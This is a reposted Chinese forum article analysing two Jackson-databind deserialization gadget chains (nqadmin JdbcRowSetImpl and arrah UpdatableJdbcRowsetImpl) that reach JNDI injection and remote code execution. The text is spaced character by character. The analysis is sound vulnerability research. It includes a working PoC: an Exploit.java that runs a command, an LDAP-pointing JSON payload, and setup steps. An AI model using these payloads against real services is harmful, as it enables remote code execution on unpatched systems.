搜索

[18154] 2020-10-07_CVE-2020-xxxxJackson-databindRCE两则

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2020-10-07_CVE-2020-xxxxJackson-databindRCE两则 C V E - 2 0 2 0 - x x x x : J a c k s o n - d a t a b i n d   R C E 两 则 A l 1 e x   H A C K 之 道   2 0 2 0 - 1 0 - 0 7 作 者 ： A l 1 e x           文 章 来 源 ： 先 知 社 区 文 章 前 言 文 章 前 言 之 前 发 表 过 一 篇 关 于 C V E - 2 0 2 0 - x x x x : J a c k s o n - d a t a b i n d   R C E 的 分 析 文 章 ， 之 后 在 逛 G i t h u b 时 又 发 现 了 两 个 新 的 G a d g e t ， 于 是 又 提 了 一 篇 同 名 的 文 章 ， 可 能 是 因 为 同 名 的 原 因 ， 审 核 忽 略 了 ， 于 是 再 补 一 下 这 篇 文 章 J a c k s o n - d a t a b i n d   R C E ( 第 一 则 第 一 则 ) 影 响 范 围 影 响 范 围 j a c k s o n - d a t a b i n d   b e f o r e   2 . 9 . 1 0 . 4 j a c k s o n - d a t a b i n d   b e f o r e   2 . 8 . 1 1 . 6 j a c k s o n - d a t a b i n d   b e f o r e   2 . 7 . 9 . 7 利 用 条 件 利 用 条 件 开 启 e n a b l e D e f a u l t T y p i n g ( ) 使 用 了 c o m . n q a d m i n . r o w s e t . J d b c R o w S e t I m p l 第 三 方 依 赖 漏 洞 概 述 漏 洞 概 述 c o m . n q a d m i n . r o w s e t . J d b c R o w S e t I m p l 类 绕 过 了 之 前 j a c k s o n - d a t a b i n d 维 护 的 黑 名 单 类 ， 并 且 J D K 版 本 较 低 的 话 ， 可 造 成 R C E 。 环 境 搭 建 环 境 搭 建 p o m . x m l
< d e p e n d e n c i e s >         < d e p e n d e n c y >             < g r o u p I d > c o m . f a s t e r x m l . j a c k s o n . c o r e < / g r o u p I d >             < a r t i f a c t I d > j a c k s o n - d a t a b i n d < / a r t i f a c t I d >             < v e r s i o n > 2 . 9 . 1 0 . 4 < / v e r s i o n >         < / d e p e n d e n c y >         < ! - -   h t t p s : / / m v n r e p o s i t o r y . c o m / a r t i f a c t / c o m . p a s t d e v . h t t p c o m p o n e n t s / c o n f i g u r a t i o n   - - >         < d e p e n d e n c y >                 < g r o u p I d > c o m . n q a d m i n . r o w s e t < / g r o u p I d >                 < a r t i f a c t I d > j d b c r o w s e t i m p l < / a r t i f a c t I d >                 < v e r s i o n > 1 . 0 . 1 < / v e r s i o n >         < / d e p e n d e n c y >         < d e p e n d e n c y >             < g r o u p I d > o r g . s l f 4 j < / g r o u p I d >             < a r t i f a c t I d > s l f 4 j - n o p < / a r t i f a c t I d >             < v e r s i o n > 1 . 7 . 2 < / v e r s i o n >         < / d e p e n d e n c y >         < ! - -   h t t p s : / / m v n r e p o s i t o r y . c o m / a r t i f a c t / j a v a x . t r a n s a c t i o n / j t a   - - >             < d e p e n d e n c y >                     < g r o u p I d > j a v a x . t r a n s a c t i o n < / g r o u p I d >                     < a r t i f a c t I d > j t a < / a r t i f a c t I d >                     < v e r s i o n > 1 . 1 < / v e r s i o n >             < / d e p e n d e n c y >     < / d e p e n d e n c i e s > 漏 洞 复 现 漏 洞 复 现 E x p l o i t . j a v a 代 码 如 下 ：
i m p o r t   j a v a . l a n g . R u n t i m e ; p u b l i c   c l a s s   E x p l o i t   {         s t a t i c   {                 t r y   {                         R u n t i m e . g e t R u n t i m e ( ) . e x e c ( " c a l c " ) ;                 }   c a t c h   ( E x c e p t i o n   e )   {                         e . p r i n t S t a c k T r a c e ( ) ;                 }         } } 编 译 上 述 E x p l o i t . j a v a 之 后 在 同 目 录 下 使 用 P y t h o n 创 建 一 个 简 易 的 W e b 服 务 ， 提 供 下 载 请 求 ~ p y t h o n   - m     S i m p l e H T T P S e r v e r   4 4 4 4 之 后 启 动 一 个 L D A P 服 务 ： 执 行 漏 洞 P O C :
i m p o r t   c o m . f a s t e r x m l . j a c k s o n . d a t a b i n d . O b j e c t M a p p e r ; p u b l i c   c l a s s   P O C   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {                 S t r i n g   p a y l o a d   =   " [ " c o m . n q a d m i n . r o w s e t . J d b c R o w S e t I m p l " , { " d a t a S o u r c e N a m e " : " l d a p : / / 1 2 7 . 0 . 0 . 1 : 1 0 9 9 / E x p l o i t " , " a u t o C o m m i t " : " t r u e " } ] " ;                 O b j e c t M a p p e r   m a p p e r   =   n e w   O b j e c t M a p p e r ( ) ;                 m a p p e r . e n a b l e D e f a u l t T y p i n g ( ) ;                 m a p p e r . r e a d V a l u e ( p a y l o a d ,   O b j e c t . c l a s s ) ;         } } 之 后 运 行 该 程 序 ， 成 功 执 行 命 令 ， 弹 出 计 算 器 ： 漏 洞 分 析 漏 洞 分 析 首 先 定 位 到 c o m . n q a d m i n . r o w s e t . J d b c R o w S e t I m p l 类 ， 之 后 根 据 P O C 全 局 搜 索 d a t a S o u r c e N a m e ， 发 现 在 s e t D a t a S o u r c e N a m e 处 调 用 ， 此 时 我 们 的 D a t a S o u r c e N a m e 因 为 没 有 进 行 初 始 化 所 以 当 前 为 n u l l ， 之 后 进 入 e l s e 中 调 用 父 类 的 s e t D a t a S o u r c e N a m e 函 数 ， 之 后 继 续 跟 进 ：
可 以 看 到 在 父 类 的 s e t D a t a S o u r c e N a m e 中 只 是 对 d a t a S o u r c e 进 行 了 赋 值 而 已 ， 并 无 其 他 的 操 作 ， 那 么 如 何 导 致 的 R C E 呢 ？ 带 着 疑 问 我 们 来 看 p a y l o a d 中 的 第 二 个 参 数 ： 第 二 个 参 数 提 供 了 一 个 a u t o C o m m i t ， 之 后 全 局 搜 索 a u t o C o m m i t 发 现 在 s e t a u t o C o m m i t 处 被 调 用 ， 而 此 时 的 c o n n 未 被 初 始 化 所 以 为 n u l l ， 进 而 进 入 e l s e 语 句 中 ， 之 后 会 执 行 一 次 t h i s . c o n n e c t ( ) ， 下 面 我 们 跟 进 来 看 看 ： 之 后 在 t h i s . c o n n e c t 中 发 现 一 处 可 疑 的 J N D I 注 入 ， 而 此 时 的 参 数 为 " t h i s . g e t D a t a S o u r c e N a m e " ：
该 参 数 来 自 我 们 刚 刚 设 置 的 D a t a S o u r c e N a m e ， 进 而 此 处 的 J N D I 注 入 参 数 可 控 ， 可 以 利 用 实 现 R C E : 整 个 利 用 链 如 下 所 示 ： m a p p e r . r e a d V a l u e         - > c o m . n q a d m i n . r o w s e t . J d b c R o w S e t I m p l . s e t D a t a S o u r c e N a m e                 - > j a v a x . s q l . r o w s e t . B a s e R o w S e t . s e t D a t a S o u r c e N a m e                         - > c o m . n q a d m i n . r o w s e t . J d b c R o w S e t I m p l . s e t A u t o C o m m i t                                 - > t h i s . c o n n e c t ( )                                         - > ( D a t a S o u r c e ) c t x . l o o k u p ( t h i s . g e t D a t a S o u r c e N a m e ( ) ) 修 复 建 议 修 复 建 议 及 时 将 j a c k s o n - d a t a b i n d 升 级 到 安 全 版 本 升 级 到 较 高 版 本 的 J D K J a c k s o n - d a t a b i n d   R C E ( 第 二 则 第 二 则 ) 影 响 范 围 影 响 范 围 j a c k s o n - d a t a b i n d   b e f o r e   2 . 9 . 1 0 . 4 j a c k s o n - d a t a b i n d   b e f o r e   2 . 8 . 1 1 . 6
j a c k s o n - d a t a b i n d   b e f o r e   2 . 7 . 9 . 7 利 用 条 件 利 用 条 件 开 启 e n a b l e D e f a u l t T y p i n g ( ) 使 用 了 o r g . a r r a h . f r a m e w o r k . r d b m s . U p d a t a b l e J d b c R o w s e t I m p l 第 三 方 依 赖 漏 洞 概 述 漏 洞 概 述 o r g . a r r a h . f r a m e w o r k . r d b m s . U p d a t a b l e J d b c R o w s e t I m p l 类 绕 过 了 之 前 j a c k s o n - d a t a b i n d 维 护 的 黑 名 单 类 ， 并 且 J D K 版 本 较 低 的 话 ， 可 造 成 R C E 。 环 境 搭 建 环 境 搭 建 < d e p e n d e n c i e s >         < d e p e n d e n c y >             < g r o u p I d > c o m . f a s t e r x m l . j a c k s o n . c o r e < / g r o u p I d >             < a r t i f a c t I d > j a c k s o n - d a t a b i n d < / a r t i f a c t I d >             < v e r s i o n > 2 . 9 . 1 0 . 4 < / v e r s i o n >         < / d e p e n d e n c y >         < ! - -   h t t p s : / / m v n r e p o s i t o r y . c o m / a r t i f a c t / c o m . p a s t d e v . h t t p c o m p o n e n t s / c o n f i g u r a t i o n   - - >         < d e p e n d e n c y >                 < g r o u p I d > o r g . a r r a h t e c < / g r o u p I d >                 < a r t i f a c t I d > p r o f i l e r - c o r e < / a r t i f a c t I d >                 < v e r s i o n > 6 . 1 . 7 < / v e r s i o n >         < / d e p e n d e n c y >         < d e p e n d e n c y >             < g r o u p I d > o r g . s l f 4 j < / g r o u p I d >             < a r t i f a c t I d > s l f 4 j - n o p < / a r t i f a c t I d >             < v e r s i o n > 1 . 7 . 2 < / v e r s i o n >         < / d e p e n d e n c y >         < ! - -   h t t p s : / / m v n r e p o s i t o r y . c o m / a r t i f a c t / j a v a x . t r a n s a c t i o n / j t a   - - >             < d e p e n d e n c y >                     < g r o u p I d > j a v a x . t r a n s a c t i o n < / g r o u p I d >                     < a r t i f a c t I d > j t a < / a r t i f a c t I d >                     < v e r s i o n > 1 . 1 < / v e r s i o n >             < / d e p e n d e n c y >     < / d e p e n d e n c i e s >
漏 洞 利 用 漏 洞 利 用 E x p l o i t . j a v a 代 码 如 下 ： i m p o r t   j a v a . l a n g . R u n t i m e ; p u b l i c   c l a s s   E x p l o i t   {         s t a t i c   {                 t r y   {                         R u n t i m e . g e t R u n t i m e ( ) . e x e c ( " c a l c " ) ;                 }   c a t c h   ( E x c e p t i o n   e )   {                         e . p r i n t S t a c k T r a c e ( ) ;                 }         } } 编 译 上 述 文 件 ， 之 后 使 用 P y t h o n 启 一 个 W e b 服 务 ： 之 后 使 用 m a r s h a l s e c 来 启 一 个 L D A P 服 务 ： 执 行 漏 洞 P O C :
i m p o r t   c o m . f a s t e r x m l . j a c k s o n . d a t a b i n d . O b j e c t M a p p e r ; p u b l i c   c l a s s   P O C   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {                 S t r i n g   p a y l o a d   =   " [ " o r g . a r r a h . f r a m e w o r k . r d b m s . U p d a t a b l e J d b c R o w s e t I m p l " , { " d a t a S o u r c e N a m e " : " l d a p : / / 1 2 7 . 0 . 0 . 1 : 1 0 9 9 / E x p l o i t " , " a u t o C o m m i t " : " t r u e " } ] " ;                 O b j e c t M a p p e r   m a p p e r   =   n e w   O b j e c t M a p p e r ( ) ;                 m a p p e r . e n a b l e D e f a u l t T y p i n g ( ) ;                 m a p p e r . r e a d V a l u e ( p a y l o a d ,   O b j e c t . c l a s s ) ;         } } 之 后 运 行 该 程 序 ， 成 功 执 行 命 令 ， 弹 出 计 算 器 ： 漏 洞 分 析 漏 洞 分 析 首 先 定 位 到 o r g . a r r a h . f r a m e w o r k . r d b m s . U p d a t a b l e J d b c R o w s e t I m p l 类 ， 之 后 根 据 P O C 全 局 搜 索 d a t a S o u r c e N a m e ， 发 现 在 s e t D a t a S o u r c e N a m e 处 调 用 ， 此 时 我 们 的 D a t a S o u r c e N a m e 因 为 没 有 进 行 初 始 化 所 以 当 前 为 n u l l ， 之 后 进 入 e l s e 中 调 用 父 类 的 s e t D a t a S o u r c e N a m e 函 数 ， 之 后 继 续 跟 进 ：
可 以 看 到 在 父 类 的 s e t D a t a S o u r c e N a m e 中 只 是 对 d a t a S o u r c e 进 行 了 赋 值 而 已 ， 并 无 其 他 的 操 作 ， 之 后 来 看 p a y l o a d 中 的 第 二 个 参 数 — — a u t o C o m m i t , 通 过 全 局 搜 索 a u t o C o m m i t 发 现 在 s e t a u t o C o m m i t 处 被 调 用 ， 而 此 时 的 c o n n 未 被 初 始 化 所 以 为 n u l l ， 进 而 进 入 e l s e 语 句 中 ， 之 后 会 执 行 一 次 t h i s . c o n n e c t ( ) ， 下 面 我 们 跟 进 来 看 看 ： 之 后 在 t h i s . c o n n e c t 中 发 现 一 处 可 疑 的 J N D I 注 入 ， 而 此 时 的 参 数 为 " t h i s . g e t D a t a S o u r c e N a m e " ： 该 参 数 来 自 我 们 刚 刚 设 置 的 D a t a S o u r c e N a m e ， 进 而 此 处 的 J N D I 注 入 参 数 可 控 ， 可 以 利 用 实 现 R C E :
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理